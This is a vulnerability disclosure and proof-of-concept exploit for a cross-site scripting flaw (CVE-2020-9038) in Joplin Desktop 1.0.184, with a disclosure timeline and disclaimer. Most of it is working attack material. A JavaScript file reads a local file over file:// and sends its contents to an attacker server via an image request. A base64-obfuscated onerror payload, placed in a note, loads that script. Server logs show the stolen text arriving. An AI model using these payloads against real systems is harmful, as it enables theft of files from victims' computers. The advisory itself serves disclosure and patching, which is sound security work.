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# Exploit Title: Joplin Desktop 1.0.184 - Cross-Site Scripting  
# Exploit Author: Javier Olmedo  
# Date: 2020-02-27  
# Vendor: Laurent Cozic  
# Software Link: https://github.com/laurent22/joplin/archive/v1.0.184.zip  
# Affected Version: 1.0.184 and before  
# Patched Version: 1.0.185  
# Category: Remote  
# Platform: Windows  
# Tested on: Windows 10 Pro  
# CWE: https://cwe.mitre.org/data/definitions/79.html  
# CVE: 2020-9038  
# References:  
# https://github.com/JavierOlmedo/CVE-2020-9038  
# https://github.com/laurent22/joplin/commit/3db47b575b9cb0a765da3d283baa2c065df0d0bc  
  
# 1. Technical Description  
# Joplin Desktop version 1.0.184 and before are affected by Cross-Site Scripting  
# vulnerability through the malicious note. This allows a malicious user  
# read arbitrary files of system.  
  
# 2. Proof Of Concept (PoC)  
# 2.1 Start a webserver to receive the connection in evil machine (you can use a python server).  
  
python -m SimpleHTTPServer 8080  
  
# 2.2 Upload exploit.js file to your web server (Change your IP, PORT and USER)  
  
function readTextFile(file){  
var rawFile = new XMLHttpRequest();  
rawFile.open("GET", file, false);  
rawFile.onreadystatechange = function (){  
if(rawFile.readyState === 4){  
if(rawFile.status === 200 || rawFile.status == 0){  
allText = rawFile.responseText;  
//alert(allText);  
var img = document.createElement('img');  
img.src = "http://[IP:PORT]/" + allText;  
document.body.appendChild(img)  
}  
}  
}  
rawFile.send(null);  
}  
readTextFile("file:///C:/Users/[USER]/Desktop/SECRET.TXT");  
//readTextFile("file:///C:/Windows/System32/drivers/etc/hosts");  
  
# 2.3 Create a secret.txt file with any content in victim desktop.  
  
# 2.4 Create a New note in Joplin Desktop and copy next payload in note body content (change your base64).  
  
<p><img src onerror=eval(atob("dmFyIHNjcmlwdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3J  
pcHQiKTtzY3JpcHQudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzY3JpcHQuc3JjPSJodHRwOi8vMTkyLjE2O  
C4xMDAuNjk6ODA4MC9leHBsb2l0LmpzIjtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCI  
pWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk="))></p>  
  
# 2.5 Your web server will receive a request with the contents of the secret.txt file  
  
Serving HTTP on 0.0.0.0 port 8080 ...  
192.168.100.250 - - [02/Feb/2020 08:27:22] "GET /exploit.js HTTP/1.1" 200 -  
192.168.100.250 - - [02/Feb/2020 08:27:27] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -  
  
# 3. Timeline  
# 20, december 2019 - [RESEARCHER] Discover  
# 20, december 2019 - [RESEARCHER] Report to vendor support  
# 21, december 2019 - [DEVELOPER] Recognized vulnerability  
# 13, february 2020 - [DEVELOPER] Patched vulnerability  
# 27, february 2020 - [RESEARCHER] Public disclosure  
  
# 4. Disclaimer  
# The information contained in this notice is provided without any guarantee of use or otherwise.  
# The redistribution of this notice is explicitly permitted for insertion into vulnerability  
# databases, provided that it is not modified and due credit is granted to the author.  
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.  
# All content (c)  
# Javier Olmedo